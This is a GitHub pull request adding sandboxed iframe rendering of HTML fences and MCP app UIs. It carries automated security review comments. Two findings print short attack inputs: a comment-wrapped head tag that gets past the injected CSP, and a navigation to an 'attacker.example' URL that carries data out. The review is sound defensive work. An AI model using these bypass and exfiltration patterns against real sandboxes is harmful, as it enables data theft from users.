Skip to content

Render sandboxed HTML pages and MCP app UIs in the thread (#1525) - #1597

Merged
currentbits merged 1 commit into
mainfrom
coder/inline-visual-replies-sandboxed-html-pag-09ec8c
Oct 11, 2026
Merged

currentbits merged 1 commit into
mainfrom
coder/inline-visual-replies-sandboxed-html-pag-09ec8c

Conversation

@currentbits

Copy link
Copy Markdown
Owner

Agents can now drop a chart, prototype, or interactive table in the thread: an html fence (and MCP ui:// / text/html tool results) render in a sandboxed iframe. Closes #1525.

Changes

  • ```html fences swap to <iframe sandbox="allow-scripts" srcdoc> with a no-network CSP, a 200KB cap, and Open-in-browser as a download of the wrapped page (not a same-origin blob window).
  • MCP UI resources are harvested onto ToolCallInfo.html before the 4000-character tool-output truncate and shown in the same frame, with an MCP Apps ui/initialize handshake.
  • The HtmlPage chunk is lazy and stays off the streaming tail. markdownChunks no longer treats < inside a fence as raw HTML, so a closed html fence can settle while the reply still streams.

Verification

  • node --import=./test/support/render.mjs --experimental-strip-types --test test/htmlFence.test.tsx test/htmlPage.test.ts — pass
  • node --test electron/test/tool-html.test.js — pass
  • Also green: mermaid, markdown, markdownStream, and the new ThreadView tool.html case
  • npx vite build — HtmlPage is its own ~1.2kB chunk
  • Not tested: live Electron window against a real MCP App

Notes for reviewers

  • The frame must never gain allow-same-origin or connect-src 'self' — that would reach window.coder and the local web-token origin.
  • tools/call / resources/read from the iframe are refused: the host has no MCP client yet. Interactive Apps that need a callback will render but not update.

cursor-grok-4.6 via Cursor

Made with Cursor

Agents can show a chart or prototype inline without the frame reaching the preload bridge or the local web-server token.

Co-authored-by: Cursor <[email protected]>
@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Oct 11, 2026 •

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-10-11T19:18:37.595019Z 9f257e6 PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@currentbits
currentbits merged commit 310f970 into main Oct 11, 2026
5 of 6 checks passed

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 9f257e6204

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/htmlPage.ts
Comment on lines +47 to +49
if (/<html[\s>]/i.test(body)) {
if (/<head[\s>]/i.test(body)) {
return body.replace(/<head(\s[^>]*)?>/i, `<head$1>${CSP_META}`);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Prevent document markers from hiding the injected CSP

Because this regex searches untrusted source text rather than the parsed document, input such as <!-- <html><head> --><script>fetch(...)</script> causes both replacements to occur inside the comment. The browser then ignores the injected meta element and executes the script without the intended no-network policy, defeating the sandbox's primary security boundary. Always construct a known outer document or inject the policy using an HTML parser rather than trusting textual <html>/<head> matches.

Useful? React with 👍 / 👎.

Comment thread src/htmlPage.ts
"style-src 'unsafe-inline'",
"img-src data:",
"font-src data:",
"connect-src 'none'",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Block navigation from the sandboxed frame

For any rendered page containing location.href = 'https://attacker.example/?data=...' or a same-frame link, connect-src 'none' and default-src 'none' do not block the outbound document navigation because CSP navigation directives do not fall back to default-src. The sandbox also permits an iframe to navigate itself, and the existing electron/main.js handler uses will-navigate, which Electron documents as main-frame-only; iframe navigation requires will-frame-navigate. Thus correctly wrapped HTML can still make network requests and replace the sandbox contents. Add an iframe-navigation policy rather than relying solely on these fetch directives. Electron navigation events, CSP navigation directives

Useful? React with 👍 / 👎.

Comment on lines +43 to +44
useEffect(() => {
if (!bridge || !srcdoc) return;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Attach the MCP listener before loading srcdoc

When an MCP App calls App.connect() from an inline startup script, it can post ui/initialize while the srcdoc iframe is loading, but this passive effect installs the parent listener only after the iframe has already been committed. The request is not retried, so affected Apps remain permanently uninitialized. This exact srcdoc ordering race is documented by the MCP Apps project; install the listener before assigning/loading srcdoc (and then start the iframe navigation). MCP Apps srcdoc race

Useful? React with 👍 / 👎.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Inline visual replies: sandboxed HTML pages and MCP app UIs in the thread

1 participant